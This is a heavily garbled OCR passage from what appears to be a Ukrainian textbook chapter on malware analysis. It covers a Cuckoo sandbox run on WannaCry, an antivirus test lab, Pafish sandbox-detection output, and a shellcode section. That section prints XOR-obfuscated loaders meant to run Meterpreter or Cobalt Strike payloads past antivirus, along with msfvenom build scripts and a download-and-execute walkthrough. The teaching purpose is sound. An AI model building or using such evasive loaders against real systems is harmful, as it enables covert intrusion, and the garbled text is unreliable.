sgamTyBanasa host-only Meperki Ha 3HaYEHHS 38 3aMOBIYBAHHAM 3 KOHOI-
rypaniiianx ¢aiiiis Cuckoo:

Host vboxnetO: 192.168.56.1/24
VM cuckool: 192.168.56.101

4. CrBOopuMO BipTyaJibHY MAIUHY JjIs aHasi3y, cuckool. Odiriitna pekomeH-
namisg — Windows 7 x64. Yuisepcurer mae Jtinensiitae 113 Microsoft B pam-
kax nporpam jgoctyty jo Azure Dev Tools for Teaching ta DreamSpark
B MunyJioMy. OOpa3u orepariiiHuX CUCTeM MOXKHA OTPUMATH y BiIIOBiI-
asibHOrO 10 akyabrery (yTOUHIONTE):

Microsoft Windows XP Professional with Service Pack 3 32-bit (English)
Product Key: TRYFP -k —skx%x* —x%*** - KMRGB

Microsoft Windows XP Professional 64-bit (English)
Product Key: MH7HH -**%%x —kkxkx* —x***x* -WJJXB

Microsoft Windows 7 Professional with Service Pack 1 32-bit (English)
Product Key: D8BYFC -***** —x**** —xx*x*x* - Q8CYP

Microsoft Windows 7 Professional with Service Pack 1 64-bit (English)

Product Key: YC8KS8 -kkkkx —skxkkk —xkkk*x -FOQW2

Mu He CXBAJIOEMO BUKOPUCTAHHS HETIIEH3IIHOr0 mMporpaMHOro 3abe3re-
veHHsl (OTpUMaHOro, HANpHUKIa, 3 Pirate Bay https://thepiratebay.org).

5. HamamryBanus BipTyanbHol mammau — [P 192.168.56.101, Bigkaodnmo
UAC, firewall, onoBjiennsi. Becranosumo Python 2.7.18 x86-64, Pillow. ¥V
nanky Startup posmicrumo agent.pyw (~/.cuckoo/agent/agent.py), 3a-
IyCTUMO.

6. CTBOpI/IMO CHaIIlIIoT BipTya.HLHO'l- MaIlllnHM:
$ vboxmanage snapshot cuckool take cuckool --pause

0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Snapshot taken. UUID: eda8938c-128c-4d2a-9fba-72281e427164

7. Beranosumo Ta minkmodanmo MongoDB:

# apt install mongodb

V cexiit [mongodb] BeranosuMo enabled = yes, daiin .cuckoo/conf/reporti-
ng.conf

8. BamycruMo B OKpeMux TepMiHajiax cuckoo Ta Beb iHTepdeiic:
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=== (venv)$ cuckoo

eeee e e eeee e e eeeee eeeee
8 8 8 8 8 8 8 8 8 88 8 88
8e 8e 8 8e 8eee8e 8 8 8 8
88 88 8 88 88 8 8 8 8 8
88e8 88ee8 88e8 88 8 8eeceB8 8eee8

Cuckoo Sandbox 2.0.7
www.cuckoosandbox.org
Copyright (c) 2010-2018

Checking for updates...

You’re good to go!

2020-04-24 18:32:43,841 [cuckoo.core.scheduler] INFO: Using "virtualbox
" as machine manager

2020-04-24 18:32:44,529 [cuckoo.core.scheduler] INFO: Loaded 1 machine/
s

2020-04-24 18:32:44,543 [cuckoo.core.scheduler] INFO: Waiting for
analysis tasks.

=== (venv)$ cuckoo web runserver
Performing system checks...

System check identified no issues (0 silenced).

April 24, 2020 - 18:32:58

Django version 1.8.4, using settings ’cuckoo.web.web.settings’
Starting development server at http://127.0.0.1:8000/

Quit the server with CONTROL-C.

V pasi yenixy Be6 inrepdeiic mocrynnuii 3a agpecoro http://127.0.0.1:8000/.
B gxkocri npukiay npoanasiizyemo 3pazok WannaCry [56, 57| 3 perosuro-

pito [58]. Byapre o6epexkHi pm poGoTi — akTHBHUIA 3pa3oK mudpyBaIbHAKA
6e3 MOYKJIMBOCTI pO3IIIMPYBaHHs. Y BHUIIAJKY 3apa’keHHs BJIACHOI cucTeMu abo
JIOKAJILHOT MepexKi JaHi MOXKyTh OyTH BTpatdeHi.

18:

18:

18:

18:

18:

18:

18:

18:

18:

18

B pesyspraTi 2 XB. aHaJi3y BUSBJIEHO MiJO3PLTy aKTUBHICTD, puc. 3.1 Ta 3.2:

32:43,841 [cuckoo.core.scheduler] INFO: Using "virtualbox" as machine
manager

32:44 ,529 [cuckoo.core.scheduler] INFO: Loaded 1 machine/s

32:44,543 [cuckoo.core.scheduler] INFO: Waiting for analysis tasks.

32:45,582 [cuckoo.core.scheduler] INFO: Starting analysis of FILE "
ed0lebfbc9eb5bbeab45af4d01bf5f1071661840480439c6eb5babe8e080e4laa.exe" (
task #3, options "procmemdump=yes,route=none")

32:45,639 [cuckoo.core.scheduler] INFO: Task #3: acquired machine cuckool
(label=cuckool)

32:45,645 [cuckoo.auxiliary.sniffer] INFO: Started sniffer with PID 10227
(interface=vboxnet0, host=192.168.56.101)

32:48,682 [cuckoo.core.guest] INFO: Starting analysis #3 on guest (id=
cuckool, ip=192.168.56.101)

32:52,719 [cuckoo.core.guest] INFO: Guest is running Cuckoo Agent 0.10 (id
=cuckool, ip=192.168.56.101)

33:33,525 [cuckoo.core.guest] ERROR: Virtual machine /status failed.
HTTPConnectionPool (host=2192.168.56.101°, port=8000): Read timed out. (
read timeout=5)

:35:53,628 [cuckoo.core.guest] INFO: cuckool: end of analysis reached!

Ha aBroMaTuyHuX CKPIiHIIIOTAX MOXKHA II0DAYUTHU [TOBIIOMJIEHHS IIPO BUKYII,

puc. 3.3.

Binem geranbro mpo Cuckoo Sandbox Ta posmmpene HaJlalITyBaHHS MO-

JKHa Jii3HaTuCd B JoKyMenTanii [53]. 3Bepuirh yBary nHa imrerpamiio 3 Moloch,
a TaKOXK 3aco0u mpoTH/Iil aHTUBIPTYAII3Mil Ta MACKyBAHHS ITICOTHUIT.

3.3.2 IlinTpmMKa MHOXKWHU aHTUBIPpYyCHHUX 3ac00iB

Kpim moBeminkoBoro anajizy y MCOYHHIT MOXKE 3aCTOCOBYBATHUCS 1 3BUUAiiHe

CKaHyBaHHs aHTHUBipycHUMHN 3acobamu. Ha punky mocrymro Ginbire 70 Haiive-
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~ Cuckoo Sandbox

<« C © 127001 ® @ | @ incognito

@ Dashboard Recent ¢ Pending Q Search Submit Import

B File ed01ebfbc9ebSbbeas545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe # Score
Summary £ Download | < Resubmit sample This file is very suspicious, with a score of 20.4 out of 10!
Size 3.4MB
Please notice- The scoring system is currntly sl in development and should
Type PE32 executable (GUI) Intel 80386, for MS Windows be considered an alpha feature.
MD5  84c82835a5d21bbcf75261706d8ab549

AFeedback

Expecting different results? Send us tis analysis and we wil inspect t. Clck

SHA1 5ffa65afaabcbfe150d1a3ab2c2e74f3a4426467

SHA256 edolebfbcoebSbbeasdsaf4delnfsf1071661840480439c6e5habesessoedlaa
SHAS12

CRC32 4022FCAA

ssdeep None

Yara None matched

000G DOOBO0OO

O Information on Execution

Category ~ Started Completed Duration Routing  Logs

FILE April 24,2020, 6:32p.m.  April 24,2020, 6:35p.m. 189 seconds  none

Puc. 3.1: Pesysibraru ananizy WannaCry

= Cuckoo Sandbox

= G ® 127.001 @ @ | @ incognito
cuckeotz " @ Dashboard Recent ¢ Pending Q Search Submit Import
6 © Instals itself for autorun at Windows startup (1 event) v
@ regkey HKEY_LOCAL_MACHINE\SOFTWARE Nind 1 regvalue  "C:\U y\App ocal\Temp!
g © Modifies boot configuration settings (1 event) v
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bededit /set {default} bootstatuspolicy ignoreallfailures & bededit /set {default} recoveryenabled no &

@ command i admin delete catalog quiet
0 © Found URLS in memory pointing to an IP address rather than a domain (potentially indicative of Command & Control traffic) (4 events) >
e © Found URLS related to Tor in process memory dump (e.g. onion services, Tor2Web, and Ransomware) (2 events) v
g url hitps://dist torproject. org/torbrowser/6.5.1/tor-win32:0.2.9.10.zip
9 url https://dist torproject. org/torbrowser/6.5.1/tor-win32:0.2
@ © Appends a known WannaCry ransomware file extension to files that have been encrypted (50 out of 1702 events) v
@ file C:\Users\kitty\AppData\Local\Temp\225 WNCRYT
e file C:\Users\kitty\AppData\Local\Temp\79.WNCRYT
e file C:\Python27\tel\tcl8. 5\msgs\pt_br.msg WNCRY

fle C:\Python27\include\floatobject h WNCRY

file C:\Python27\tel\tk8.5\demos\images\tcllogo.gif WNCRY

fle C:\Users\All L Account rtile39.bmp.WNCRYT

file C:\Users\kitty\AppData\Local\Temp\464 WNCRYT

Puc. 3.2: 3akpimienns: B cucremi
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25 Wana Decrypt0r 20

Ooops, your files have been encrypted!

'What Happened to My Computer?
'Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for away to
rrecover your files, but do not waste your time. Nobody can recover your files without
our decryption service.
Payment will be raised on Bl C.... 1 Recover My Files?
4i282020 03:09:29 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left 'You can decrypt some of your files for free. Try now by clicking <Decrypt>.
But if you want to decrypt all your files, you need to pay.
'You only have 3 days to submit the payment. After that the price will be doubled.
\Also, if you dont pay in 7 days, you won't be able to recover your files forever.
'We will have free events for users who are so poor that they couldn’t pay in 6 months.
Your files will be lost on
(| How Do I Pay?
Payment is accepted in Bitcoin only. For mere information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.
\And send the correct amount to the address specified in this window.
|After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

5/2/2020 03:09:29

Time Left

N N Send $300 worth of bitcoin to this address:
bitcoin

Wae it 204 | 115p7UMMngojipMvkpHijcRdfJNXj6LrLn
Contact Us Check Payment

Puc. 3.3: IloBigomitennst mpo BUKyI

HyBaHb, JIUB. cepBicu oHaiiH ckanyBanus VirusTotal Ta anasmoru. Cuin 3a3na-
9UTH, MO ePEeKTUBHICTD aHAJIIZY 3aJI€KUTH BiJ MOPSIKY 3aCTOCYBAHHS aHTUBI-
pyCy — CKaHyBaHHsS yTHJITOI0 KOMAHJHOIO Dsijika (THIIOBa peaJizaliisl OHJIaiH
cepricy [59, 60]) wacTo BimpisHSIETHCS B 3aIyCKy B CHCTeMI 3 TIUM YK€ aHTUBI-
pycoM (3pa3sok MOYKe YCHIIIHO IMPOXOJUTH IIEPIIe i JIeTEKTYBATHCS B JIPYTOMY ).
Kpim nerekrysanns I11113 akTya bHIMEI TAKOXK € 33241 CTBOPEHHSI 3pa3KiB, 1110
06x071aTh 3amani antusipycu/EDR. BoHu BUHUKAIOTH IIPU TEXHIYHOMY ayIuTi
(TecTyBaHHI HA TPOHUKHEHHS), JOCJIZKEH] HOBUX METOJIB 3aXUCTy, B PaMKaX
OIlePATUBHOI JislJIBHOCTI TPABOOXOPOHHUX OPraHiB Ta iH.

Posristremo nporiec TecTyBaHHS HOBUX 3Pa3KiB CUCTEM BiJJIAJIEHOTO KEPyBa-
HHsI B JIEKIJIbKOX aHTHBIpYyCHHX crucreMmax. 3acrocoByBaru VirusTotal jyist miel
3a/1a9i He MOYKHA — 3aBaHTAXKEHI 3pa3Ky 3aJIMIIAIOTHCS B CUCTEMi, Pa30M 3 iH-
dopmariiero po gac ta IP, Ta mocTymHi 1y cKavyBaHHS BIACHUKAM ITPEMiyM
mignucku. OHUM 3 pillleHb € 3aCTOCYBaHHS BIpTyaJsi3allii Ta MeXaHi3MiB CHa-
MIIITOTIB 3i CreniaJbHUM MOPSIKOM JOCTYIy 0 Mepexki. Posropaemo anTusipy-
cHy Jsaboparopiro Ha 6a3i 6e3KOINTOBHUX BEPCiii aHTUBIPYCHUX 3aC00iB:

1. Ocnosua Bipryasbna mamuna — Windows 10 (rorosuit o6pa3 jyist 1oiry-
nsipHAX wiardopM BipTyamisami [61]);

2. Ilicnist moBHOTO OHOBIIeHH: Winl0 6a3osuit caanmor (AV0, Moxe BUKOpH-
croByBarucs i TecryBanis y Windows Defender);

3. Bcranosioerbes nepiimit antusipycauii 3aci6 (AV1), micss moBHOro oHOB-
JIeHHs — cHammoT AV1;
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Snapshot Manager X

@Take Snapshot @Delete @Elune @Keep = =)

— @ —3—@

= Bitdefender BitDefender You Are Here
AY Free Free 2

_.

Awast Free

*—
i

_,

Avira Free

L .3

AYE AY Free

L .3

Sophos Home

_,

368 Total
Security

_..

Kaspersky
Fres

Show AutoProtect Snapshots
Snapshot created: Sun 11 Aug 2819 11:26:54 AM EEST

Mame : 'Elean - Windows Defender

Description:

@ Help AutoProtect. .. % Lo Tao ® LClose

Puc. 3.4: Crykrypa cHAIIIOTIB aHTUBIPYCHOI CHCTEMH

4. Cran BipTyaJbHOI MAIIUHE [IOBEPTAETHCS J10 6a30oBoro cuammora AVO;

5. Beranosiioerbea apyruit antusipycanii 3aci6 (AV2), mic/ig HOBHOrO OHOB-
JleHHs1 — cHammor AV2;

6. Cran BipTyaJbHOI MAITMHA TIOBEPTAETHCS 110 6azoBoro cuammora AVO;

7. Bceranosiioerbes Tpetiii antusipycuuii 3aci6 (AV3), micis moBHOrO OHOB-
JieHHst — cHammor AV3;

VY pasi ycrixy cTpyKTypa CHANIIOTIB Mae BUMIsA K Ha puc. 3.4. [lopsmok
TECTYBaHHS HOBHUX 3Pa3KiB:

1. Binnosaennsi crammory AVX, IIOBHE OHOBJIEHH:, CTBODEHHs CHAIIIOTY
AVx-1, (onmiito) Buganenus AVx;
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2. Biaxiouenns BipTyasbHOI MalIMHU BiJ MepexKi (BUMKHEHHsI B HAJIAIITY-
BaHHAX MEPEIKEBOIO aJ[AlTepa);

3. 3aBaHTayKeHHsI 3pa3Ky Ta aHAJI3;
4. BinnoBnenusi caammory AVx-1;

5. BimHnoByeHHST TOCTYIY IO MEpeXKi;
6. IToBroproBaru jyist iHmux AV.

OcHoBHa ifest — BipTyajbHA MaIllMHA 3 JOCIIKYyBAHIM 3PDA3KOM HE MAag J10-
cTymy 10 Mepexki. Y OUIBIIOCTI CydacHWX aHTUBIpyCiB € yHKIN 3 pisHmMEI
Ha3BaMU — OHJIAIH TECTYBaHHS, MeperKa OE3MEeKH, TECTyBaHHs B XMapi, aBTOMAa-
TUYHe /BiJIK/IaJIeHe BipaB/IeHHs 111103p1InX 3pa3KiB Ta iH. — 10 3BOJASITHCS JI0
3aBaHTaXKeHHsI 3pa3Ky y aHTHBIpyCHy Jaboparopioo (po3pobHUKY aHTHBIpyca).
ITe mMoxke MaTu HeraTupHi HacJiaku [62].

3.3.3 lereKTyBaHHS CepeIOBUIIA AHAIIZY

acrocyBanHs BipTyasizaril Ta JMHAMIYHOIO iHCTPYMeHTYBaHHs (Y ICOYHUIISX )
Ma€ HeJOJIKU — CepeIOBUINE BiIPI3HAETHCS BiJT IIIHOBOI cucTeMu. Y pa3i BUsIB-
JenHst cepeyopuma anasizy IIII3 Moxke IpUXOBYBATH AKTUBHICTH (HAIPUKJIA,
He po3umdpPOBYBATH Ta HE 3aIlyCKATH OCHOBHE HABAHTAXKEHHs ). PO3rysiHEMO
mpobieMy Ha TPHKJaJ — mpoanastisyemo 3pa3ok Pafish [63]! y sipryanbuiit ma-
mai Cuckoo 3 poszginy 3.3.1 ta anTuBipycHoil saboparopil 3 posairy 3.3.2. Y
nepinoMy Bumaaxky VirtualBox 6.0.8 6e3 Guest Additions Ta moaudikariii:

C:\>pafish
* Pafish (Paranoid fish) x*

Some anti(debugger/VM/sandbox) tricks
used by malware for the general public.

[*] Windows version: 6.1 build 7601
[*] CPU: GenuinelIntel
Hypervisor: VBoxVBoxVBox
CPU brand: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz

Debuggers detection

L
[ Using IsDebuggerPresent() ... 0K

-1
*]
[-1 CPU information based detections

[*] Checking the difference between CPU timestamp counters (rdtsc) ... OK

[*] Checking the difference between CPU timestamp counters (rdtsc) forcing VM
ex

it ... traced!
[*] Checking hypervisor bit in cpuid feature bits ... traced!
[*] Checking cpuid hypervisor vendor for known VM vendors ... traced!

[-] Generic sandbox detection

[*] Using mouse activity ... traced!

[*] Checking username ... OK

[*] Checking file path ... 0K

[*] Checking common sample names in drives root ... 0K

[*] Checking if disk size <= 60GB via DevicelIoControl() ... traced!

[*] Checking if disk size <= 60GB via GetDiskFreeSpaceExA() ... traced!
[*] Checking if Sleep() is patched using GetTickCount() ... 0K

[*] Checking if NumberOfProcessors is < 2 via raw access ... traced!

[*] Checking if NumberOfProcessors is < 2 via GetSystemInfo() ... traced!

13pasok pafish.exe posmisraeTbest Google Chrome sik HeGe3neuHnii Ta 6IO0KYETHCS. 3aBaH-
TaKeHHsI MOXKHA IPOJOBAKUTH — IyHKT MeHio Downloads (Ctrl-J) / Keep dangerous file /
Keep anyway.
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[*] Checking if pysical memory is < 1Gb ... 0K

[*] Checking operating system uptime using GetTickCount() ... traced!
[*] Checking if operating system IsNativeVhdBoot() ... 0K

[-] Hooks detection

[*] Checking function ShellExecuteExW method 1 ... OK

[*] Checking function CreateProcessA method 1 ... 0K

[-] Sandboxie detection
[*] Using GetModuleHandle (sbiedll.dll) ... 0K

[-] Wine detection

[*] Using GetProcAddress(wine_get_unix_file_name) from kernel32.dll ... 0K

[*] Reg key (HKCU\SOFTWARE\Wine) ... OK

[-] VirtualBox detection

[*] Scsi port->bus->target id->logical unit id-> O identifier ... OK

[*] Reg key (HKLM\HARDWARE\Description\System "SystemBiosVersion") ... traced
1

[*] Reg key (HKLM\SOFTWARE\Oracle\VirtualBox Guest Additiomns) ... 0K

[*] Reg key (HKLM\HARDWARE\Description\System "VideoBiosVersion") ... traced!

[*] Reg key (HKLM\HARDWARE\ACPI\DSDT\VBOX__) ... traced!

[*] Reg key (HKLM\HARDWARE\ACPI\FADT\VBOX__) ... traced!

[*x] Reg key (HKLM\HARDWARE\ACPI\RSDT\VBOX__) ... traced!

[*] Reg key (HKLM\SYSTEM\ControlSet0O1\Services\VBox*) ... 0K

[*] Reg key (HKLM\HARDWARE\DESCRIPTION\System "SystemBiosDate") ... traced!

[*] Driver files in C:\WINDOWS\system32\drivers\VBox* ... 0K

[*] Additional system files ... 0K

[*] Looking for a MAC address starting with 08:00:27 ... traced!

[*] Looking for pseudo devices ... 0K

[*] Looking for VBoxTray windows ... 0K

[*] Looking for VBox network share ... 0K

[*] Looking for VBox processes (vboxservice.exe, vboxtray.exe) ... 0K

[*] Looking for VBox devices using WMI ... traced!

[-] VMware detection

[*] Scsi port 0,1,2 ->bus->target id->logical unit id-> O identifier ... 0K

[*] Reg key (HKLM\SOFTWARE\VMware, Inc.\VMware Tools) ... 0K

[*] Looking for C:\WINDOWS\system32\drivers\vmmouse.sys ... 0K

[*] Looking for C:\WINDOWS\system32\drivers\vmhgfs.sys ... OK

[*] Looking for a MAC address starting with 00:05:69, 00:0C:29, 00:1C:14 or
00:5

0:56 ... OK

[*] Looking for network adapter name ... 0K

[*] Looking for pseudo devices ... 0K

[*] Looking for VMware serial number ... 0K

[-] Qemu detection

[*] Scsi port->bus->target id->logical unit id-> 0 identifier ... 0K

[*] Reg key (HKLM\HARDWARE\Description\System "SystemBiosVersion") ... 0K
[*] cpuid CPU brand string ’QEMU Virtual CPU’ ... OK

[-] Bochs detection

[*] Reg key (HKLM\HARDWARE\Description\System "SystemBiosVersion") ... 0K
[*] cpuid AMD wrong value for processor name ... 0K

[*] cpuid Intel wrong value for processor name ... 0K

[-]1 Cuckoo detection
[*] Looking in the TLS for the hooks information structure ... 0K

Y apyromy Bunanky VMware Workstation Pro 15.5.2 3 VMware Tools:

[*] Windows version: 6.2 build 9200
[*] CPU: GenuinelIntel
Hypervisor: VMwareVMware
CPU brand: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz

Debuggers detection
Using IsDebuggerPresent() ... 0K

— -
* 1
o

[-] CPU information based detections

[*] Checking the difference between CPU timestamp counters (rdtsc) ... OK

[*] Checking the difference between CPU timestamp counters (rdtsc) forcing VM
exit ... traced!
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[*] Checking hypervisor bit in cpuid feature bits ... traced!
[*] Checking cpuid hypervisor vendor for known VM vendors ... traced!

[-] Generic sandbox detection

[*] Using mouse activity ... traced!

[*] Checking username ... 0K

[*] Checking file path ... 0K

[*] Checking common sample names in drives root ... 0K

[*] Checking if disk size <= 60GB via DeviceIoControl() ... OK

[*] Checking if disk size <= 60GB via GetDiskFreeSpaceExA() ... traced!
[*] Checking if Sleep() is patched using GetTickCount() ... 0K

[*] Checking if NumberOfProcessors is < 2 via raw access ... 0K

[*] Checking if NumberOfProcessors is < 2 via GetSystemInfo() ... OK
[*] Checking if pysical memory is < 1Gb ... 0K

[*] Checking operating system uptime using GetTickCount() ... traced!
[*] Checking if operating system IsNativeVhdBoot() ... OK

[-]1 Hooks detection

[*] Checking function ShellExecuteExW method 1 ... 0K
[*] Checking function CreateProcessA method 1 ... 0K
[-] Sandboxie detection

[*] Using GetModuleHandle (sbiedll.d11l) ... OK

[-] Wine detection

[*] Using GetProcAddress(wine_get_unix_file_name) from kernel32.dll ... OK
[*] Reg key (HKCU\SOFTWARE\Wine) ... OK

[-] VirtualBox detection

[*] Scsi port->bus->target id->logical unit id-> 0 identifier ... OK

[*] Reg key (HKLM\HARDWARE\Description\System "SystemBiosVersion") ... 0K
[*] Reg key (HKLM\SOFTWARE\Oracle\VirtualBox Guest Additiomns) ... OK

[*] Reg key (HKLM\HARDWARE\Description\System "VideoBiosVersion") ... 0K
[*] Reg key (HKLM\HARDWARE\ACPI\DSDT\VBOX__) ... OK

[*] Reg key (HKLM\HARDWARE\ACPI\FADT\VBOX__) ... OK

[*] Reg key (HKLM\HARDWARE\ACPI\RSDT\VBOX__) ... OK

[*] Reg key (HKLM\SYSTEM\ControlSet0O1\Services\VBoxx*) ... 0K

[*] Reg key (HKLM\HARDWARE\DESCRIPTION\System "SystemBiosDate") ... 0K
[*] Driver files in C:\WINDOWS\system32\drivers\VBox* ... 0K

[*] Additional system files ... 0K

[*] Looking for a MAC address starting with 08:00:27 ... 0K

[*] Looking for pseudo devices ... 0K

[*] Looking for VBoxTray windows ... 0K

[*] Looking for VBox network share ... 0K

[*] Looking for VBox processes (vboxservice.exe, vboxtray.exe) ... 0K

[*] Looking for VBox devices using WMI ... OK

[-] VMware detection

[*] Scsi port 0,1,2 ->bus->target id->logical unit id-> O identifier
traced!

[*] Reg key (HKLM\SOFTWARE\VMware, Inc.\VMware Tools) ... traced!

[*] Looking for C:\WINDOWS\system32\drivers\vmmouse.sys ... traced!

[*] Looking for C:\WINDOWS\system32\drivers\vmhgfs.sys ... traced!

[*] Looking for a MAC address starting with 00:05:69, 00:0C:29, 00:1C:14 or
00:50:56 ... traced!

[*] Looking for network adapter name ... 0K

[*] Looking for pseudo devices ... traced!

[*] Looking for VMware serial number ... traced!

[-] Qemu detection

[*] Scsi port->bus->target id->logical unit id-> O identifier ... OK
[*] Reg key (HKLM\HARDWARE\Description\System "SystemBiosVersion") ... 0K
[*] cpuid CPU brand string ’QEMU Virtual CPU’ ... 0K

[-] Bochs detection

[*] Reg key (HKLM\HARDWARE\Description\System "SystemBiosVersion") ... 0K
[*] cpuid AMD wrong value for processor name ... 0K

[*] cpuid Intel wrong value for processor name ... 0K

[-] Cuckoo detection

[*] Looking in the TLS for the hooks information structure ... 0K

Ananis cepenoBuIa BUKOHAHHS aKTUBHO BUKOpHcTOBYeThCs 1IITI3 Ta y Ha-
npasiennx atakax, qus. MITRE ATT&CK T1497 [64]. Binbin metanbHO MOXKHA
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osHafiomuTHCH Y [65].

3.3.4 3ammyck IIeJuIKOTy

OpuumM 3 eneMenTiB B mociizosuocti mocrasku IIII3 moxke OyTu BUKOHAHHS
MITEJIJTKO/TY, HAITPUKJIA IPU eKCILTyaTallil OiHapHUX BPA3JIMBOCTEM 10 BEIYTH /10
OITKO/KeHHsT TaMm’aTi. KpiM mpoctux GyHKIH HamgaHHSA JOCTYIYy 10 KOMAH-
JTHOT OOOJIOHKH TILJIOBOI CHCTEMU, 3aBAHTAXKEHHS Ta 3aIyCKY BUKOHYBaHUX (aii-
JiB, Bimomi KomiuiekcHi cucremu Buay Metasploit Meterpreter ta CobaltStri-
ke Beacon. Bimbimn metanbHO 0CcOOJMBOCTI PO3ZPOOKHU Ta 3aCTOCYBAHHS IIEJLIKO-
JB MOKHA JI3HATHACS 3 HACTYIIHOTO KypCy aHaJi3y OiHApPHUX Bpa3anBOCTeil Ta
[66]. Ha mamomy erami Bukopucraemo rotosi 3pasku 3 Packet Storm [67], shell-
storm [68] Ta exploit-db [69], posrasiHeMO 3amyck Ta JAuHAMIYHUN aHaJi3 3a
JIOIIOMOT0I0 Bifmaro/pkyBsada x64dbg.

Okpemo cTBOpUMO 3aBaHTaxKyBad i 32 1 64 6it Bepciit Windows. Y mep-
IIOMY BHIIQJIKY sc32.asm:
extern _VirtualAlloc@1l6
extern _MessageBoxAQ16

extern _CreateThread@24
extern _ExitProcess@4

section .text
; wait in messagebox
push 0x24 ; MB_YESNO | MB_ICONQUESTION
push title
push messagel
push 0
call _MessageBoxAQ16

xor ebx, ebx

cmp eax, 6 ; IDYES
jne no

mov bl, Oxff

; decrypt shellcode

push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x3000 ; MEM_RESERVE | MEM_COMMIT
push 4096

push O

call _VirtualAlloc@1l6

mov ecx, 1024
mov esi, payload
mov edi, eax
mov edx, eax

decrypt:
lodsb
xor al, bl
stosb
loop decrypt

; execute shellcode
test ebx, ebx

jz skip

push O

push O

push O

push edx

push 0

push O

call _CreateThread@24

skip:

; wait in messagebox
push 0x40 ; MB_ICONINFORMATION
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push title

push message?2

push 0

call _MessageBoxAQ16

push O
call _ExitProcess@4

title db "Message", O
messagel db "Decrypt shellcode?", 0
message2 db "Press 0K to exit...", O

payload:

H
5

raw shellcode xor Oxff
metasploit meterpreter/reverse_https
cobaltstrike beacon_http/reverse_http

incbin "payload32.enc"

Mlemnkon obdyckoBanuit XOR 0xFF rta posmudpoByerbes micis 3amuty

KOPHCTYBaJa s IMPOTHUJIl CTaTUIHOMY aHaji3y Ta emyssiii. Y Windows x64
sc64.asm:

extern MessageBoxA
extern VirtualProtect
extern ExitProcess

section .text

sub rsp, 0x1000
and rsp, -16

; wait in messagebox

X0or rcx, rcx

mov rdx, qword messagel

mov r8, qword title

mov r9, 0x24 ; MB_YESNO | MB_ICONQUESTION
call MessageBoxA

xor rbx, rbx

cmp rax, 6 ; IDYES
jne no

mov bl, Oxff

call me
me :
pop rcx
and rcx, -0x1000
mov rdx, 0x1000
mov r8, 0x40 ; PAGE_EXECUTE_READWRITE
mov r9, rsp
call VirtualProtect
; decrypt shellcode
mov rcx, 1024
mov rsi, qword payload
mov rdi, rsi
mov rdx, rax
decrypt:
lodsb
xor al, bl
stosb
loop decrypt
jmp payload
no:

XOor rcx, Ircx
call ExitProcess

title db "Message", O
messagel db "Decrypt shellcode?", 0

payload:

incbin "payload64.enc"
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IlizroTyBaTt TECTOBMIA MIE/IJIKOM, MOYXKHA 38 JOITIOMOTOIO:

$ cat gen.sh build.sh

#!/bin/sh

msfvenom -f raw --encrypt xor --encrypt-key ’\xff’ -p windows/messagebox -o
payload32.enc

msfvenom -f raw --encrypt xor --encrypt-key ’\xff’ -p windows/x64/exec cmd=

calc -o payload64.enc
#!/bin/sh

OPT="-mwindows -s -0Os -fno-ident -fno-stack-protector -fomit-frame-pointer -
fno-unwind-tables -fno-asynchronous-unwind-tables -falign-functions=1 -
mpreferred -stack-boundary=2 -falign-jumps=1 -falign-loops=1 -nostdlib -
nodefaultlibs -nostartfiles"

LNK="-1lkernel32 -luser32"

nasm -fwin32 sc32.asm
1686 -w64 -mingw32-gcc -m32 ${0PT} sc32.0bj -o sc32.exe ${LNK}

nasm -fwin64 sc64.asm
x86_64 -w64-mingw32-gcc ${0PT} sc64.0bj -o sc64.exe ${LNK}

$ ./gen.sh && ./build.sh

$ 1s -1 *exe

-rwxr-xr-x 1 user user 1536 Apr 25 19:48 sc32.exe
-TwXr-xr-x 1 user user 1536 Apr 25 19:49 sc64.exe

Y pasi ycrmixy B mepriomy BHUIAJKY jeMoHcTpyeThbest MessageBox “Hello,
from MSF!”, B mpyromy 3alycKaeThCs KaJIbKyIATOP. PO3IVISTHEMO IMIeJUIKOJ,
o 3aBanTaxye daiisn 3 Mepexi Ta 3amyckae na BukonanHg (download and
execute) [70]. Bukopucraemo x32dbg /st quHAMIYHOTO aHAJI3Y:

1. O6dyckyeMo mIeIKo Ta 30YAyEMO 3aBAHTAXKYBAM:

$ ipython3
In [1]: from pwn import *
In [2]: x = "\x31\xc9\xb9...\x51\xff\xd7"

In [3]: write("payload32.enc", xor(x, Oxff))

$ ./build.sh

2. 3asanraxkumo y x32dbg, Run (F9);

3. Bukonanus 3ynunsierbca Ha touni Bxomy (EP), posminiyemo Touky 3y-
muaku (breakpoint, F2) mepesn Buksimkom CreateThread, npomosxyemo
BUKOHAHHS;

4. Bukonanns 3ynunsietbest nepesn Bukiankom CreateThread, mepexomnmo 3a
anpecoo B (Ctrl-G edx), posmingyemo rouky 3ynunku Ha call edi micis
cepil push, TpoIOBKYEMO BUKOHAHHST;

5. VY pasi ycruixy 6a4nMo MeXaHi3M 3aBaHTaXKEHHS Ta 3aIyCKy SK Ha puc. 3.5
— BUKOPHUCTOBYEThCsT powershell, 3aBanTakyeThest putty.exe;

6. Ilpomos:xyemo BukoHaHHS, B pasi ycmixy Oyzae 3amymeno PuTTY.

Bukopucrantst my0/iivHO JOCTYIIHUX IIEJUIKOJIB MAE€ HEJIOIKHU — JIETEeKTYIO-
ThCA JIeAKNMHI aHTHBipycaMu. B sKOCTI mpHUKjaITy IpoaHaIi3ydTe OTpUMaHU
3aBaHTaxKyBad y Jabopropil po3ziay 3.3.2 (nuB. BapianTu 3aBIAHb 3 OLKCOM
koHiryparii). 3BepHiTh yBary Ha peakxiiiio Ha 6iHapHi dailiu 3 YuCTUM IIeJI-
Ko7IoM (6e3 3aBaHTaXKyBada, raw ).
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3 sc32.exe - PID: 2E8 - Thread: 2090 - x32dbg — m] x
Fle Miew Debug Trace Plugins Favourites Options Help Apr 122020
coOE 30 Yo gt PSP f# aB B
